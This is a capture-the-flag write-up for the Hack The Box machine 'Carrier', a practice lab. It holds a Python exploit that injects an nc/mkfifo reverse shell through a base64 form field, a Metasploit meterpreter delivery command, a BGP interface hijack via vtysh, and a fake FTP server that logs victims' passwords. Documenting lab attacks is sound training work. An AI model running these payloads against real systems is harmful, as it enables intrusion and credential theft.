Writeup: Hack The Box - Machines - Carrier

Description

  • Name: Carrier
  • IP: 10.10.10.105
  • Author: snowscan
  • Difficulty: 4.7/10

Discovery

nmap -sC -sV -Pn -p- -T5 --min-rate 1000 --max-retries 5 10.10.10.105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap -sU -Pn --top-ports 100 -T5 --min-rate 1000 --max-retries 5 10.10.10.105

1
2
3
4
5
6
7
8
PORT      STATE  SERVICE
9/udp closed discard
88/udp closed kerberos-sec
161/udp open snmp
2222/udp closed msantipiracy
17185/udp closed wdbrpc
49153/udp closed unknown
49192/udp closed unknown

snmpwalk -v 2c -c public 10.10.10.105

1
2
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)

From a dirsearch scan:

1
2
3
4
5
6
7
8
 1KB - /
310B - /img -> http://10.10.10.105/img/
312B - /tools -> http://10.10.10.105/tools/
310B - /doc -> http://10.10.10.105/doc/
310B - /css -> http://10.10.10.105/css/
309B - /js -> http://10.10.10.105/js/
312B - /fonts -> http://10.10.10.105/fonts/
312B - /debug -> http://10.10.10.105/debug/

Pwn

The main page is password protected by a login page that shows two error codes: 45007 and 45009.

In /doc we have a network schema and a PDF file:

The PDF file contains a list of error codes with descriptions:

So we know that the license of the software is expired and default password for the admin user is retrievable from the chassis of the product. From snmp we found the string SN#NET_45JDX23 where SN# should be the serial number and NET_45JDX23 the password for admin.

From the dashboard we found that in the Diagnostics tab we get the output of a similar ps aux command.

From the source code of the page we found that the form has a hidden <input> with value cXVhZ2dh (quagga in base64):

1
2
3
4
5
6
7
8
<form role="form" method="post">
<input type="hidden" id="check" name="check" value="cXVhZ2dh">
<div class="form-group">
<button type="submit" class="btn btn-primary">
Verify status
</button>
</div>
</form>

Changing the value of input check to root (in base64) we got the list of all process running as root; this form can be exploited to have an RCE on the backend system.

We tried to append some command on the input value but we managed to get a reverse shell using the operator && to concat a command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
import subprocess
from base64 import b64encode

ip_r = re.compile(r"inet ([\d.]+)")
inet = subprocess.Popen(["ip", "addr", "show", "tun0"],
stdout=subprocess.PIPE).stdout.read().decode()
ip_tun0 = ip_r.search(inet).group(1)

url = "http://10.10.10.105/index.php"
rce_url = "http://10.10.10.105/diag.php"
login_data = {"username": "admin", "password": "NET_45JDX23"}
rce_data = {"check": "cXVhZ2dh"}
cmd = "quagga && rm /tmp/q;mkfifo /tmp/q;cat /tmp/q|/bin/bash -i 2>&1|nc {} 4444 >/tmp/q".format(
ip_tun0)

print(
"""msfconsole -x \"use exploit/multi/script/web_delivery; set URIPATH dodometer; set LPORT 3487; set LHOST $(ip addr show tun0 | grep -Po \"inet \K[\d.]+\"); set SRVHOST $(ip addr show tun0 | grep -Po \"inet \K[\d.]+\"); set target Python; set payload python/meterpreter/reverse_tcp; run -j\""""
)

with requests.Session() as s:
s.post(url, data=login_data)
rce_data["check"] = b64encode(cmd.encode())
s.post(rce_url, data=rce_data)

So we wrote a python script to spawn first a netcat reverse shell on port 4444 and then we can use the metasploit web delivery module to get a metepreter session and read the first flag.

The script will first create the command to open a socket using mkfifo and bash on port 4444 to our tun0 ip address. When we have the reverse shell we can call the python command from metasploit.

N.B.: on remote machine python3 and is not linked to python; we must use alias python="python3" for metasploit stage dropper

After some base enumeration and with LinEnum we had not found anything but some other networks associated with other LXD cotainers.
From static-binaries we imported nmap on the remote machine using the meterpreter session to perform a scan on the local network and discover other containers and service to abuse to find the root.txt file.

We discovered some hosts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Nmap scan report for 10.99.64.3
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000059s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp
MAC Address: 00:16:3E:40:AF:E9 (Unknown)

Nmap scan report for 10.99.64.1
Host is up (0.000042s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
MAC Address: FE:53:9E:2F:F7:89 (Unknown)

Nmap scan report for 10.99.64.4
Host is up (0.00010s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp
MAC Address: 00:16:3E:57:40:D4 (Unknown)

Nmap scan report for 10.99.64.251
Host is up (0.000027s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:16:3E:F3:92:14 (Unknown)

Nmap scan report for 10.99.64.2
Host is up (0.000013s latency).
Not shown: 52241 closed ports, 13293 filtered ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp
MAC Address: 00:16:3E:5B:49:A9 (Unknown)

Nmap scan report for 10.78.10.1
Host is up (0.000035s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp

Nmap scan report for 10.78.11.2
Host is up (0.000041s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp
MAC Address: 00:16:3E:C4:FA:83 (Unknown)

Nmap scan report for 10.78.11.1
Host is up (0.000054s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp

All hosts are using bgp to issuing routes within the LAN but one of them also got a FTP service: 10.99.64.1.

From ticket #6 we notice that some VIP in 10.120.15.0/24 had some FTP problems and also some routes were messed up.
Since we can use vtysh to instruct quogga via shell commands we used it to change the IP address of the eth2 interface and spawn a fake FTP to get some credentials (the void pcap in the home directory was an hint):

1
2
3
configure terminal
int eth2
ip address 10.120.15.11/24

The fake FTP is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python
from datetime import datetime
from optparse import OptionParser
from socketserver import BaseRequestHandler, ThreadingTCPServer
from sys import stdout


class FTPLoginHandler(BaseRequestHandler):
"""Handler for FTP authentication."""

def debug(self, message):
"""Show log message."""
if self.server.debug:
print('***', message)

def respond(self, code, explanation):
print(code, explanation)
"""Send a response to the client."""
self.request.send('{} {}\r\n'.format(code, explanation).encode())

def process_request(self):
"""Parse input into a command and an argument."""
data = self.request.recv(64).decode()
parts = data.strip().split(' ')
return parts.pop(0), parts

def log_auth(self, user, password):
"""Write username and password to logfile."""
now = datetime.now().isoformat(' ')[:19]
client = '%s:%d' % self.client_address
line = ' '.join((now, client, user, password))
self.server.logfile.write(line + '\n')
self.server.logfile.flush()

def handle(self):
"""Handle incoming data."""
self.debug('Connection from %s:%d.' % self.client_address)
self.respond(220, self.server.banner)
user = None
while True:
cmd, args = self.process_request()
if cmd == 'USER':
if user is not None:
self.respond(
503, 'Incorrect sequence of'
' commands: PASS required after USER.')
continue
user = (args and args[0] or '*missing*')
self.debug('User "%s" has identified.' % user)
self.respond(331, 'Please specify the password.')
continue
elif cmd == 'PASS':
if user is None:
self.respond(
503, 'Incorrect sequence of'
' commands: USER required before PASS.')
continue
password = (args and args[0] or '*missing*')
self.debug('User "%s" supplied password "%s", storing.' %
(user, password))
self.log_auth(user, password)
self.respond(530, 'Login incorrect.')
break
else:
self.debug('Rejecting request "%s".' % ' '.join(args))
self.respond(530, 'Please login with USER and PASS.')
break
self.request.close()
self.debug('Connection with %s:%d closed.' % self.client_address)


class FTPLoginServer(ThreadingTCPServer):
def __init__(self,
host='',
port=21,
banner='',
debug=False,
logfile=None,
append=False):
ThreadingTCPServer.__init__(self, (host, port), FTPLoginHandler)
self.banner = banner
self.debug = debug
mode = (append and 'a' or 'w')
self.logfile = (logfile and open(logfile, mode) or stdout)

def server_close(self):
ThreadingTCPServer.server_close(self)
self.logfile.close()


if __name__ == '__main__':
parser = OptionParser(usage='%prog [options] <port>')
parser.add_option(
'-a',
'--append',
dest='append',
action='store_true',
help='append to LOGFILE ')
parser.add_option(
'-b', '--banner', dest='banner', help='custom banner string')
parser.add_option(
'-d',
'--debug',
dest='debug',
action='store_true',
help='show debugging messages')
parser.add_option(
'-l',
'--logfile',
dest='logfile',
help='write collected user/password data to LOGFILE')
opts, args = parser.parse_args()

# Parse arguments.
if len(args) != 1:
parser.print_help()
parser.exit()
try:
port = int(args[0])
except ValueError:
parser.print_help()
parser.exit()

# Serve.
server = FTPLoginServer(port=port, **opts.__dict__)
try:
server.serve_forever()
except KeyboardInterrupt:
print('Ctrl-C pressed, exiting...')
server.server_close()

After a while we got some credentials: 10.78.10.2 connected to out fake FTP and inserted his credentials.

2018-10-05 15:06:01 10.78.10.2:43566 root BGPtelc0rout1ng

Now we can try to use those credentials on the real FTP server on ip 10.99.64.1.

On the server we found the system flag and the MD5 Secret for the bpg service.